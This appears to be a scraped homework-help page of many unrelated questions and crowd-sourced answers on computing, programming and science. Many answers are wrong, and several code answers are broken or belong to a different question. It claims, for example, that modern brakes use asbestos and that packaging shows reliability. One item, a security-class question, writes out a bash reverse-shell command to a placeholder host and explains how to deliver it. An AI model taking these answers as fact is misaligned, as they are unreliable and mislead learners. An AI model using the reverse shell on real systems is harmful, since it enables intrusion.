HURRY GANG 100points!!!! How can you determine which hardware brands and models are the most reliable?
O read the information on the device's packaging
O find out how many of them are being sold per year
O read the manufacturer's website
O find customer reviews online
Answer: A, read the information on the device's packaging
Explanation:
The info in the packaging has to be accurate because it goes through tests and they cannot make up info on there. This means any info about the materials used is accurate.
Answer:
A. read the information on the device's packaging
Explanation:
Any information that's on packaging is made separately from the product manufacturers and needed to be checked and correct. If there is anything out of the ordinary on the device's packaging, then it is a good way to tell it's reliableness.
Use the drop-down menus to complete the sentences about the Calendar view Arrange command group.
Under the Calendar view, you will see your calendar as
by default.
When you create an appointment, you are creating an activity that will not send
to other people.
A meeting is an activity where individuals are invited and
are shared.
is an all-day incident placed on the calendar.
Answer:
Use the drop-down menus to complete the sentences about the Calendar view Arrange command group.
Under the Calendar view, you will see your calendar as
✔ monthly
by default.
When you create an appointment, you are creating an activity that will not send
✔ an invitation
to other people.
A meeting is an activity where individuals are invited and
✔ resources
are shared.
✔ An event
is an all-day incident placed on the calendar.
Explanation:
edge 2021
The complete sentences about the calendar view arrange command group are as follows:
Under the Calendar view, you will see your calendar as monthly by default. When you create an appointment, you are creating an activity that will not send an invitation to other people.A meeting is an activity where individuals are invited and resources are shared. An event is an all-day incident placed on the calendar.What do you mean by Calender view?Calendar view may be characterized as a type of feature within calendar software in which the user can choose from various formats in order to view the calendar more accurately and interestingly.
A calendar view lets a user view and interacts with a calendar that they can navigate by month, year, or decade. A user can select a single date or a range of dates. It doesn't have a picker surface and the calendar is always visible.
Command and control functions are performed through an arrangement of personnel, equipment, communications, facilities, and procedures employed by a commander in order to execute its functions.
Therefore, the complete sentences about the calendar view arrange command group are well mentioned above.
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Spreadsheets are sometimes credited with legitimizing the personal computer as a business tool. Why do you think they had such an impact?
Spreadsheets is known to be an credited tool with legitimizing the personal computer as a business tool. Spreadsheets have a lot of impact in business world because:
It has low technical requirement. Here, spreadsheet does not need a complex installation and it is easy to understand.Data Sifting and Cleanup is very easy to do.It is a quick way to Generate Reports and Charts for business.What is Spreadsheets?Spreadsheets is known to be a key business and accounting tool. They are known to have different complexity and are used for a lot of reasons.
The primary aim of this is that it helps us to organize and categorize data into a kind of logical format and thus helps us to grow our business.
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Give the value of following Java expressions.
false || 6 > 12 && !(3==7)
Answer:
public class Program
{
public static void main(String[] args)
{
int j=18;
int sum=0;
for (int i =1; i<7; i++)
{
sum=sum+(i*(j-2));
j=j-2;
}
System.out.println(sum);
}
}
Explanation:
Variables used:
j : controls the first number in product and decreases by 2 each time the loop runs.
sum: saves the values of addition as the loop runs.
Tech A states that modern vehicles use asbestos as the brake material. Tech B states that asbestos is no longer used in brakes. Who is correct?
Answer:
Tech A is correct.
Explanation:
The modern day vehicles have brakes system equipped with asbestos. It is a mineral which is a kind of fibrous crystal which enables the friction to stop the vehicle. The technician A specifies that the modern day automobiles use asbestos for their brake system.
Answer:
correct answer is Tech B.
Explanation:
just took the test
Match the following internet related terms to their definition
Answer:
1st buble goes to web address 2nd goes to browser 3rd goes to chat 4th goes to email
Explanation:
System testing – During this stage, the software design is realized as a set of programs units. Unit testing involves verifying that each unit meets its specificatio
System testing is a crucial stage where the software design is implemented as a collection of program units.
What is Unit testing?Unit testing plays a vital role during this phase as it focuses on validating each unit's compliance with its specifications. Unit testing entails testing individual units or components of the software to ensure their functionality, reliability, and correctness.
It involves executing test cases, evaluating inputs and outputs, and verifying if the units perform as expected. By conducting unit testing, developers can identify and rectify any defects or issues within individual units before integrating them into the larger system, promoting overall software quality.
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public class ArrayCopy {
public static void main (String[] argv)
{
int[][] A = {
{1},
{2, 1},
{3, 2, 1},
{4, 3, 2, 1},
{5, 4, 3, 2, 1}
};
print (A);
int[][] B = copy (A);
print (B);
}
static void print (int[][] X)
{
for (int i=0; i
for (int j=0; j < X[i].length; j++) {
System.out.print (" " + X[i][j]);
}
System.out.println ();
}
}
// INSERT YOUR CODE HERE.
}
answer in java, please complete code above
Sure! Below is the completed code that includes the missing part:
java:
public class ArrayCopy {
public static void main(String[] argv) {
int[][] A = {
{1},
{2, 1},
{3, 2, 1},
{4, 3, 2, 1},
{5, 4, 3, 2, 1}
};
print(A);
int[][] B = copy(A);
print(B);
}
static void print(int[][] X) {
for (int i = 0; i < X.length; i++) {
for (int j = 0; j < X[i].length; j++) {
System.out.print(" " + X[i][j]);
}
System.out.println();
}
}
static int[][] copy(int[][] X) {
int[][] copyArray = new int[X.length][];
for (int i = 0; i < X.length; i++) {
copyArray[i] = new int[X[i].length];
for (int j = 0; j < X[i].length; j++) {
copyArray[i][j] = X[i][j];
}
}
return copyArray;
}
}
In the given code, the missing part is the `copy` method. This method is responsible for creating a copy of the 2D array `A` and returning it as a new 2D array.
The `copy` method initializes a new 2D array `copyArray` with the same number of rows as the original array `X`. It then iterates over each row of `X` and creates a new row in `copyArray` with the same length as the corresponding row in `X`. Finally, it copies the values from each element of `X` to the corresponding element in `copyArray`.
The completed code allows you to print the original array `A` and its copy `B` by calling the `print` method. The `print` method iterates over each element in the 2D array and prints its values row by row.
Note: When running the code, make sure to save it as "ArrayCopy.java" and execute the `main` method.
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XYZ is a well-renowned company that pays its salespeople on a commission basis. The salespeople each receive 700 PKR per week plus 9% of their gross sales for that week. For example, a salesperson who sells 4000 PKR worth of chemicals in a week receives 700 plus 9% of 5000 PKR or a total of 1060 PKR. Develop a C++ program that uses a Repetitive Structure (while, for, do-while) to manipulate each salesperson’s gross sales for the week and calculate and displays that salesperson’s earnings.
Answer:
#include<iostream>
#include<conio.h>
using namespace std;
float calculateGross(float sale)
{
return (sale/100*9) + 700;
}
main()
{
float sale[3] = { 5000,7000,9000}, Totalsale =0;
for(int i=0; i<=2; i++)
{
cout<<"Sales Person "<<i+1<<" Gross Earnings: "<<calculateGross(sale[i])<<" PKR\n";
Totalsale += calculateGross(sale[i]);
}
cout<<"Total Gross Sales Earnings for week: "<<Totalsale<<" PKR\n";
return 0;
}
Can someone tell me how to get rid of the the orange with blue and orange on the status bar
Please and thank you
Picture above
Answer:
Explanation:
i'm not sure how tho
Which of the following if statements uses a Boolean condition to test: "If you are 18 or older, you can vote"? (3 points)
if(age <= 18):
if(age >= 18):
if(age == 18):
if(age != 18):
The correct if statement that uses a Boolean condition to test the statement "If you are 18 or older, you can vote" is: if(age >= 18):
In the given statement, the condition is that a person should be 18 years or older in order to vote.
The comparison operator used here is the greater than or equal to (>=) operator, which checks if the value of the variable "age" is greater than or equal to 18.
This condition will evaluate to true if the person's age is 18 or any value greater than 18, indicating that they are eligible to vote.
Let's analyze the other if statements:
1)if(age <= 18):This statement checks if the value of the variable "age" is less than or equal to 18.
However, this condition would evaluate to true for ages less than or equal to 18, which implies that a person who is 18 years old or younger would be allowed to vote, which is not in line with the given statement.
2)if(age == 18):This statement checks if the value of the variable "age" is equal to 18. However, the given statement allows individuals who are older than 18 to vote.
Therefore, this condition would evaluate to false for ages greater than 18, which is not correct.
3)if(age != 18):This statement checks if the value of the variable "age" is not equal to 18.
While this condition would evaluate to true for ages other than 18, it does not specifically cater to the requirement of being 18 or older to vote.
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9. Computer 1 on network A, with IP address of 10.1.1.10, wants to send a packet to Computer 2, with IP address of
172.16.1.64. Which of the following has the correct IP datagram information for the fields: Version, minimum
Header Length, Source IP, and Destination IP?
Answer:
Based on the given information, the IP datagram information for the fields would be as follows:
Version: IPv4 (IP version 4)
Minimum Header Length: 20 bytes (Since there are no additional options)
Source IP: 10.1.1.10 (IP address of Computer 1 on network A)
Destination IP: 172.16.1.64 (IP address of Computer 2)
So the correct IP datagram information would be:
Version: IPv4
Minimum Header Length: 20 bytes
Source IP: 10.1.1.10
Destination IP: 172.16.1.64
explain two dimensional arrays an example
TWO-DIMENSIONAL ARRAYS were introduced in Subsection 3.8.5, but we haven't done much with them since then. A 2D array has a type such as int[][] or String[][], with two pairs of square brackets. The elements of a 2D array are arranged in rows and columns, and the new operator for 2D arrays specifies both the number of rows and the number of columns. For example,
int[][] A;
A = new int[3][4];
This creates a 2D array of int that has 12 elements arranged in 3 rows and 4 columns. Although I haven't mentioned it, there are initializers for 2D arrays. For example, this statement creates the 3-by-4 array that is shown in the picture below:
int[][] A = { { 1, 0, 12, -1 },
{ 7, -3, 2, 5 },
{ -5, -2, 2, -9 }
};
An array initializer for a 2D array contains the rows of A, separated by commas and enclosed between braces. Each row, in turn, is a list of values separated by commas and enclosed between braces. There are also 2D array literals with a similar syntax that can be used anywhere, not just in declarations. For example,
A = new int[][] { { 1, 0, 12, -1 },
{ 7, -3, 2, 5 },
{ -5, -2, 2, -9 }
};
All of this extends naturally to three-dimensional, four-dimensional, and even higher-dimensional arrays, but they are not used very often in practice.
Help plz
Which of the following statements are true about cyberbullying:
1. Cyberbullying uses electronic communication to bully a person.
11. Cyberbullying is a crime in many states.
III. Instances of cyberbullying do not affect the digital footprint of the victim.
IV. Cyberbullying hurts real people even though we can't always see their reactions
online.
I and IV
O ll and III
O 1, 11, and IV
All of the above
The following statements are true about cyberbullying: Cyberbullying uses electronic communication to bully a person. Cyberbullying hurts real people even though we can't always see their reactions.
What is cyberbullying?The use of mobile phones, instant messaging, e-mail or social networking sites to intimidate or harass someone is known as cyberbullying.
The correct answer is "I and IV." Statement I is true because cyberbullying is defined as using electronic communication to bully a person.
Statement IV is also true because even though we may not be able to see the victim's reactions online, cyberbullying can still have real-life consequences and can hurt the victim emotionally or mentally.
Statement II is false because cyberbullying is a crime in many states, and statement III is also false because instances of cyberbullying can affect the victim's digital footprint.
Hence, the correct statements are "I and IV".
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In this assignment, you will implement a simulation of a popular casino game usually called video poker. The card deck contains 52 cards, 13 of each suit. At the beginning of the game, the deck is shuffled. You need to devise a fair method for shuffling. (It does not have to be efficient.) Then the top five cards of the deck are presented to the player. The player can reject none, some, or all of the cards. The rejected cards are replaced from the top of the deck. Now the hand is score. At the very minimum, your project should have at least a Card class and a driver class. Your program should pronounce it to be one of the following:
* No pair - The lowest hand, containing five separate cards that do not match up to create any of the hands below.
* One pair - Two cards of the same value, for example two queens.
* Two pairs - Two pairs, for example two queens and two 5's.
* Three of a kind - Three cards of the same value, for example three queens.
* Straight - Five cards with consecutive values, not necessarily of the same suit, such as 4, 5, 6, 7, and 8. The ace can either precede a 2 or follow a king.
* Flush - Five cards, not necessarily in order, of the same suit.
* Full House - Three of a kind and a pair, for example three queens and two 5's
* Four of a Kind - Four cards of the same value, such as four queens
* Straight Flush - A straight and a flush: Five cards with consecutive values of the same suit
* Royal Flush - The best possible hand in a poker. A 10, jack, queen, king, and ace, all of the same suit.
If you are so inclined, you can implement a wager. The player pays a JavaDollar for each game, and wins according to the
following payout chart:
Hand Payout
Royal Flush 250
Straight Flush 50
Four of a Kind 25
Full House 6
Flush 5
Straight 4
Three of a kind 3
Two Pair 2
Pair of Jacks 1
or Better
Here's an implementation of the game of video poker with a basic wager system. Python 3 is used to write this programme..
Write the code in python to implement poker game?
import random
# Constants
SUITS = ["hearts", "diamonds", "clubs", "spades"]
RANKS = ["2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", "Queen", "King", "Ace"]
WAGER_AMOUNT = 5
# Functions
def generate_deck():
"""Generate a deck of 52 cards."""
deck = []
for suit in SUITS:
for rank in RANKS:
deck.append((rank, suit))
random.shuffle(deck)
return deck
def get_card_string(card):
"""Return a string representation of a card."""
return f"{card[0]} of {card[1]}"
def get_wager():
"""Ask the player for their wager amount."""
while True:
wager = input(f"Enter your wager (minimum ${WAGER_AMOUNT}): ")
try:
wager = int(wager)
except ValueError:
print("Invalid input. Please enter an integer.")
continue
if wager < WAGER_AMOUNT:
print("Minimum wager is $5.")
else:
return wager
def get_discard_indices():
"""Ask the player which cards they want to discard."""
discard_indices = []
while True:
discard_str = input("Enter the indices of the cards you want to discard (e.g. 1 4): ")
try:
discard_indices = [int(i) - 1 for i in discard_str.split()]
except ValueError:
print("Invalid input. Please enter integers separated by spaces.")
continue
if len(discard_indices) > 5:
print("You can only discard up to 5 cards.")
else:
return discard_indices
def score_hand(hand):
"""Return the score for a given hand."""
ranks = [card[0] for card in hand]
suits = [card[1] for card in hand]
is_flush = len(set(suits)) == 1
is_straight = False
straight_values = ["Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", "Queen", "King", "Ace"]
for i in range(len(straight_values) - 4):
if ranks == straight_values[i:i+5]:
is_straight = True
break
if is_flush and is_straight and "Ace" in ranks:
return "Royal Flush"
elif is_flush and is_straight:
return "Straight Flush"
elif 4 in [ranks.count(rank) for rank in set(ranks)]:
return "Four of a Kind"
elif set(ranks) == set(["Ace", "King", "Queen", "Jack", "10"]):
return "Royal Flush"
elif is_flush:
return "Flush"
elif is_straight:
return "Straight"
elif 3 in [ranks.count(rank) for rank in set(ranks)] and 2 in [ranks.count(rank) for rank in set(ranks)]:
return "Full House"
elif 3 in [ranks.count(rank) for rank in set(ranks)]:
return "Three of a Kind"
elif [ranks.count(rank) for rank in set(ranks)].count(2) == 2:
return "Two Pairs"
elif 2 in [ranks.count(rank
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Package Newton’s method for approximating square roots (Case Study: Approximating Square Roots) in a function named newton. This function expects the input number as an argument and returns the estimate of its square root. The program should also include a main function that allows the user to compute the square roots of inputs from the user and python's estimate of its square roots until the enter/return key is pressed.An example of the program input and output is shown below:Enter a positive number or enter/return to quit: 2 The program's estimate is 1.4142135623746899 Python's estimate is 1.4142135623730951 Enter a positive number or enter/return to quit: 4 The program's estimate is 2.0000000929222947 Python's estimate is 2.0 Enter a positive number or enter/return to quit: 9 The program's estimate is 3.000000001396984 Python's estimate is 3.0 Enter a positive number or enter/return to quit
The python program that calculates the volume and the square of the volume is as follows
radius = float(input("Radius: "))
volume = (4.0/3.0) * (22.0/7.0) * radius**3
sqrtVolume = volume**0.5
print(f'The volume is {volume} units cubed')
print(f'The square root of that number is {sqrtVolume}')
How to write the program?The complete program written in Python where comments are used to explain each line is as follows
This gets the radius
radius = float(input("Radius: "))
#This calculates the volume
volume = (4.0/3.0) * (22.0/7.0) * radius**3
#This calculates the square root of the volume
sqrtVolume = volume**0.5
#This prints the volume
print(f'The volume is {volume} units cubed')
#This prints the square root of the volume
print(f'The square root of that number is {sqrtVolume}')
Therefore, The python program that calculates the volume and the square of the volume is as follows
radius = float(input("Radius: "))
volume = (4.0/3.0) * (22.0/7.0) * radius**3
sqrtVolume = volume**0.5
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With the help of the network, the attacker can obtain the shell or root shell of the remote server (Linux operating system-based) through the reverse shell attack, and then get full control of the server. The typical reverse shell instruction is as follows:
/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"
1) Please explain the meaning of 0,1,2,>, <, & represented in the above statement;
2) What does the attacker need to do on his machine in order to successfully get the shell information output on the server side? And please explain the meaning represented by /dev/tcp/server_ip/9090;
3) Combined with the above statement, explain the implementation process of reverse shell attack;
4) Combined with the relevant knowledge learned in our class, what attacking methods can be used to successfully transmit and execute the above reverse shell instruction on the server side?
1. 0 represents standard input (stdin), 1 represents standard output (stdout), 2 represents standard error (stderr), > is output redirection, < is input redirection, and & is used for file descriptor redirection.
2. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility.
3.Identify vulnerable system, craft reverse shell payload, deliver payload to target, execute payload to establish connection with attacker are methods for implementation.
4. Exploiting vulnerabilities, social engineering, planting malware/backdoors, compromising trusted user accounts can be used to execute the reverse shell instruction.
1. In the reverse shell instruction provided ("/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"), the symbols 0, 1, 2, >, <, and & represent the following:
0: It represents file descriptor 0, which is the standard input (stdin).
1: It represents file descriptor 1, which is the standard output (stdout).
2: It represents file descriptor 2, which is the standard error (stderr).
: It is the output redirection symbol and is used to redirect the output of a command to a file or device.
<: It is the input redirection symbol and is used to redirect input from a file or device to a command.
&: It is used for file descriptor redirection, specifically in this case, combining stdout and stderr into a single stream.
2. To successfully get the shell information output on the server side, the attacker needs to set up a listening service on their own machine. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility. The "/dev/tcp/server_ip/9090" in the reverse shell instruction represents the connection to the attacker's machine on IP address "server_ip" and port 9090. By specifying this address and port, the attacker creates a connection between their machine and the compromised server, allowing the output of the shell to be sent to their machine.
3. The reverse shell attack is typically performed in the following steps:
The attacker identifies a vulnerability in the target server and gains control over it.The attacker crafts a payload that includes the reverse shell instruction, which allows the attacker to establish a connection with their machine.The attacker injects or executes the payload on the compromised server, initiating the reverse shell connection.The reverse shell instruction creates a new shell on the compromised server and connects it to the attacker's machine, redirecting the shell's input and output streams to the network connection.Once the reverse shell connection is established, the attacker gains interactive access to the compromised server, obtaining a shell or root shell, and can execute commands as if they were directly working on the server itself.4. Successfully transmit and execute the reverse shell instruction on the server side, the attacker can use various attacking methods, including:
Exploiting a vulnerability: The attacker can search for known vulnerabilities in the target server's operating system or specific applications running on it. By exploiting these vulnerabilities, they can gain unauthorized access and inject the reverse shell payload.
Social engineering: The attacker may use social engineering techniques, such as phishing emails or deceptive messages, to trick a user with access to the server into executing the reverse shell payload unknowingly.
Malware or backdoor installation: If the attacker already has control over another system on the same network as the target server, they may attempt to install malware or a backdoor on that system. This malware or backdoor can then be used to launch the reverse shell attack on the target server.
Compromising a trusted user account: The attacker may target and compromise a user account with privileged access on the server. With the compromised account, they can execute the reverse shell instruction and gain control over the server.
It is important to note that carrying out such attacks is illegal and unethical unless done with proper authorization and for legitimate security testing purposes.
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In the context of marketing, which of the following is the best example of risk taking?
Which of these are innovative tools that shape some online reading
experiences?
A. Blogs and message boards
B. HTML and computer code
C. Text messages and emoticons
D. Hypertexts and hyperlinks
Answer:
I think the answer is A. Blogs and message boards.
Have a wonderful day!
Explanation:
Answer: its D
Explanation:
Write a program that prompts a user to enter the number of elements to store in an array. Then prompt the user to enter all the numbers stored in the array.
The program should then cycle through the array to see if any numbers are divisible by 5. If any number is divisible by 5 print out which ones are and identify them in the output.
Answer:
Here's an example of a program that does what you've described:
# Get the number of elements in the array
n = int(input("Enter the number of elements to store in the array: "))
# Initialize the array
arr = []
# Get the elements of the array from the user
print("Enter the elements of the array:")
for i in range(n):
arr.append(int(input()))
# Print out which numbers are divisible by 5
print("The following numbers are divisible by 5:")
for i, x in enumerate(arr):
if x % 5 == 0:
print(f"{i}: {x}")
This program will first prompt the user to enter the number of elements in the array. It then initializes an empty array and prompts the user to enter each element of the array. Finally, it loops through the array and prints out the index and value of any element that is divisible by 5.
Explanation:
The models below represent nuclear reactions. The atoms on the left of the equal sign are present before the reaction, and the atoms on the right of the equal sign are produced after the reaction.
Model 1: Atom 1 + Atom 2 = Atom 3 + energy
Model 2: Atom 4 = Atom 5 + Atom 6 + energy
Which of these statements is most likely correct about the two models?
Both models show reactions which produce energy in the sun.
Both models show reactions which use up energy in the sun.
Model 1 shows reactions in the nuclear power plants and Model 2 shows reactions in the sun.
Model 1 shows reactions in the sun and Model 2 shows reactions in a nuclear power plant.
The statements which is most likely correct about the two models are Both models show reactions which produce energy in the sun. Thus, option A is correct. Thus, option A is correct.
The basic fusion reaction through which the sun produces energy is when two isotopes of hydrogen, deuterium and tritium, atoms undergoes fusion reaction resulting to an helium atom, an extra neutron and energy. In this reaction, some mass are being transformed into energy.
Model 1 shows reactions in the nuclear power plants and Model 2 shows reactions in the sun.
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Passive devices _____ require any action from the occupants. A. Do not B.Sometimes C.Rarely D.Occasionally
Answer:
D:
Explanation:
I think, but double check!
Have a nice life and I hope you get full marks on your test/paper/work!
:)write a script that(1) gets from a user: (i) a paragraph of plain text and (ii) a distance value.distance value. next, (2) encrypt the plaintext using caesar cipher and (3) output (print) this paragraph into an encrypted text. (4) write this text to file called ‘encryptfile.txt’ and print the text file. Then (5) read this file and write it to a file named ‘copyfile.txt’ and print text file.
A script that(1) gets from a user: (i) a paragraph of plain text and (ii) a distance value.distance value. next, encrypts the text using Caeser cipher, then prints it as an encrypted text given below:
The below script also reads the file and then writes it to a file named ‘copyfile.txt’ and print the text file.
The Scriptmapping = {}
with open ( " copyfile . txt " , " r " ) as keyFile:
for line in copyFile:
l1, l2 = line . split ( )
mapping [ upper ( l1 ) ] = upper ( l2 )
decrypt = " "
with open ( " encrypted.txt " , " r " ) as encryptedFile:
for line in encryptedFile:
for char in line:
char = upper ( char )
if char in mapping:
decrypt + = mapping [ char ]
else:
decrypt += char print ( decrypt )
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When using the ________ logical operator, both subexpressions must be false for the compound expression to be false. a. either or or and b. not c. or d. and
When using the and logical operator, both subexpressions must be false for the compound expression to be false
What are logical operators?A logical operator, also known as a boolean operator, is a symbol or keyword used in computer programming and logic to perform logical operations on one or more boolean values.
Boolean values are binary values that represent true or false, or in some cases, 1 or 0.
There are three common logical operators:
AND: Denoted by the symbol "&&" in many programming languages, the AND operator returns true if both operands are true, and false otherwise.
OR: Denoted by the symbol "||" in many programming languages, the OR operator returns true if at least one of the operands is true, and false otherwise.
NOT: Denoted by the symbol "!" in many programming languages, the NOT operator, also known as the negation operator, is a unary operator that takes a single boolean operand and reverses its logical value.
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List the name and purpose of twenty (20) different C++ commands.
Answer:
Drivers and help a new program to run
Which statement best describes desktop publishing?
Answer:
the process of designing and laying out printed material
Explanation:
The other answers were wrong. Option A is correct
Write a function that reads from a file the name and the weight of each person in pounds and calculates the equivalent weight in kilograms. Output the Name, weightLB, and weightKG in that order. Format your output to two decimal places. (1 kilogram
Answer:
#include <iostream>
#include <fstream>
#include <iomanip>
using namespace std;
int main(){
string name;
double weightKg, weightPd;
cout<< fixed << setprecision(2);
fstream myFile("filename.txt");
while (getline( myFlie, name, weightPd)){
weightKg = weight * 0.453592;
cout<< name << weightPd <<weightKg;
}
myFile.close();
}
Explanation:
The C++ source code reads in the content of a file that has a name and weight value in pounds and outputs the name, weight in pounds and the weight in kilograms.
Processors for most mobile devices run at a slower speed than a processor in a desktop PC.
A. True
B. False
Hope this helps you! :)
The ans is A which is TRUE
(Was a tricky ques for some but... u gotta learn it!)
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Processors for most mobile devices run at a slower speed than a processor in a desktop PC, therefore, the statement is true.
The Processor is simply known as the heart of the computer. It enables the computer to be able to execute its command.It should be noted that the processors for most mobile devices run at a slower speed than a processor in a desktop PC. It should be noted that mobile devices are smaller than computers. There is a lot of heat that is generated by the running mobile processor in mobile phones and this limits the speed of the mobile phones.In conclusion, once there's a limitation of the speed, there's a slower performance of the mobile phone.
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3n - 12 = 5n - 2
how many solutions?
Assume a 2^20 byte memory:
a) What are the lowest and highest addresses if memory is byte-addressable?
b) What are the lowest and highest addresses if memory is word-addressable, assuming a 16-bit word?
c) What are the lowest and highest addresses if memory is word-addressable, assuming a 32-bit word?
a) Lowest address: 0, Highest address: (2^20) - 1. b) Lowest address: 0, Highest address: ((2^20) / 2) - 1. c) Lowest address: 0, Highest address: ((2^20) / 4) - 1.
a) If memory is byte-addressable, the lowest address would be 0 and the highest address would be (2^20) - 1.
This is because each byte in the memory requires a unique address, and since there are 2^20 bytes in total, the highest address would be one less than the total number of bytes.
b) If memory is word-addressable with a 16-bit word, each word would consist of 2 bytes.
Therefore, the lowest address would be 0 (representing the first word), and the highest address would be ((2^20) / 2) - 1.
This is because the total number of words is equal to the total number of bytes divided by 2.
Subtracting 1 gives us the highest address, as the addresses are zero-based.
c) If memory is word-addressable with a 32-bit word, each word would consist of 4 bytes.
In this case, the lowest address would still be 0 (representing the first word), and the highest address would be ((2^20) / 4) - 1.
Similar to the previous case, the total number of words is equal to the total number of bytes divided by 4.
Subtracting 1 gives us the highest address.
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